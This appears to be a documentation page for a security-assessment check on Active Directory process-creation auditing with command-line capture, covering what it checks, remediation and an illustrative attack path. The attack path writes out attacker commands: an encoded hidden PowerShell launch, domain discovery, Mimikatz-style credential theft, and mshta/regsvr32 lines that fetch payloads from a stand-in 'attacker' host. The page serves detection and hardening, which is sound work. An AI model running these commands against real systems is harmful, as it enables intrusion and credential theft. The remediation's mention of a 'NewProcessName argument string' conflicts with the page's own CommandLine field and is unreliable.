ADLOG-004: Process Creation Auditing with Command Line
- Platform
- Active Directory
- Category
- AD Logging & EDR Posture
- Severity
- High
- Zero Trust pillar
- Visibility & Analytics (weight 2)
- Golden fixtures
- 3
- Branch coverage
- Observed: fixtures prove the verdicts they exercise
- Provenance
- baseline
What it checks
The check performs two evaluations against the effective configuration on every domain controller and member server Guerrilla can reach. First, it reads the Advanced Audit Policy via auditpol /get /subcategory:"Process Creation" (or the equivalent registry effective value under HKLM\SECURITY\Policy\PolAdtEv) and confirms that the Process Creation subcategory has the Success bit set. The GUID for that subcategory is {0CCE922B-69AE-11D9-BED3-505054503030} under Detailed Tracking. Second, it reads HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled and confirms the DWORD value equals 1. That registry value is the on-disk representation of Computer Configuration > Policies > Administrative Templates > System > Audit Process Creation > "Include command line in process creation events". The check also inspects Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > "Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings" (SCENoApplyLegacyAuditPolicy) and warns when it is Disabled, because a legacy audit policy can silently overwrite the Advanced Audit subcategory configuration and is signaled by Event 4719.
Why it matters
Process creation auditing is the single highest-value Windows telemetry source for detecting hands-on-keyboard activity, lateral movement, and execution of LOLBins. Almost every adversary playbook documented by Mandiant and Microsoft DART relies on commands invoked through powershell.exe, cmd.exe, wmic.exe, mshta.exe, rundll32.exe, regsvr32.exe, certutil.exe, bitsadmin.exe, or msbuild.exe. The executable name alone tells you nothing useful: powershell.exe is launched legitimately thousands of times per day in most environments. The malicious payload lives in the command-line arguments (encoded -EncodedCommand blocks, remote download cradles, AMSI bypasses, COM hijack invocations). Without ProcessCreationIncludeCmdLine_Enabled set to 1, the SIEM receives a stream of 4688 events with the Process Command Line field empty, defeating every Sigma rule, every analytic, and every threat hunt that depends on argument inspection. The blast radius is the entire forest: a missed PowerShell download cradle on a single workstation is the typical entry point that becomes domain compromise within 48 hours. Equally critical, this telemetry is what feeds Kerberoasting detection (4769 events alone do not show the tool used), DCSync detection (correlation of 4662 with the calling process), and BloodHound collector identification. The gap is exploited by every threat actor that touches a Windows endpoint.
Attack path
Step 1: Initial access. The attacker lands on a workstation via a phishing payload, an exposed RDP host, or a compromised VPN credential. The first action on most engagement playbooks is reconnaissance via PowerShell, e.g. powershell.exe -nop -w hidden -enc <base64>. If ProcessCreationIncludeCmdLine_Enabled is 0, the SIEM sees only that powershell.exe ran. The encoded command string, the parent process, and the argument string are invisible. Step 2: Discovery. The attacker enumerates the domain with built-in commands: net group "Domain Admins" /domain, nltest /domain_trusts, whoami /all, wmic computersystem get domain. Each of these generates a 4688, and each is benign in name only. Without command lines the SIEM sees wmic.exe with no context. Step 3: Credential access. The attacker runs Rubeus, SafetyKatz, or Invoke-Mimikatz via an in-memory loader. The parent powershell.exe shows up in 4688 but the cradle URL, the function name (Invoke-Kerberoast, sekurlsa::logonpasswords), and the target SPN list are all in the command line. Step 4: Lateral movement. The attacker pivots with wmic /node:DC01 process call create or schtasks /create /s DC01. Both are 4688-generating events. Without command-line capture there is no way to see which remote host was targeted or what payload was scheduled. Step 5: Persistence. The attacker creates a scheduled task via schtasks.exe or a WMI event subscription via wmic. The argument string is the persistence payload; the binary is a signed Microsoft tool. Detection without command-line capture is impossible. Step 6: Defense evasion. The attacker uses mshta.exe https://attacker/payload.hta, rundll32.exe javascript:..., or regsvr32.exe /s /n /u /i:http://... scrobj.dll. Every one of these is a 4688. With command-line capture disabled, the SIEM logs "rundll32.exe ran on HOST" and nothing more. In each step the attacker is not bypassing the audit subsystem. The audit subsystem is operating correctly. The misconfiguration ships its output with the most important field blank.
How Guerrilla assesses it
Guerrilla enumerates every domain controller via Get-ADDomainController and (optionally) every server that responds in the Servers OU. For each target it executes auditpol.exe /get /subcategory:"Process Creation" /r over WinRM and parses the CSV output for the Inclusion Setting column. It expects "Success" or "Success and Failure". Anything else (NoAuditing, Failure-only) is a finding. In parallel, the check reads HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled via remote registry or Invoke-Command. A missing value or a DWORD of 0 is a finding. The check also pulls Get-GPO and resolves each GPO linked to the Domain Controllers OU and the Servers OUs, walking the Administrative Templates and Advanced Audit Policy sections so that the operator gets a list of GPOs that should be modified rather than just a per-host registry read. Finally, the check samples the Security log on each DC for the most recent 4688 event and inspects the CommandLine field. A non-empty CommandLine on at least one recent event confirms that the policy has not only been written but is also being honored by the audit subsystem (the registry value is read at process-start, so a policy refresh without subsequent process creation can leave the event stream looking briefly empty).
Recommended value
Group Policy 'Include command line in process creation events' is Enabled, AND Advanced Audit Policy subcategory 'Audit Process Creation' is set to Success.
Remediation
Two settings, both required: (1) Computer Configuration > Policies > Administrative Templates > System > Audit Process Creation > 'Include command line in process creation events' = Enabled. (2) Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Detailed Tracking > Audit Process Creation = Success. Without (1), 4688 events arrive without a NewProcessName argument string. Without (2), they don't arrive at all.
Fixture-proven verdicts
Every verdict below is proven by a golden fixture in the module's gating test suite. This table derives from the last green run; it cannot be edited by hand.
| Scenario | Expected verdict |
|---|---|
| clean | PASS |
| known-bad | WARN |
| throttled | Not Assessed |
Framework mappings
- NIST SP 800-53
- AU-2, AU-3
- CIS AD Benchmark
- 9.1.2
- MITRE ATT&CK
- T1059, T1218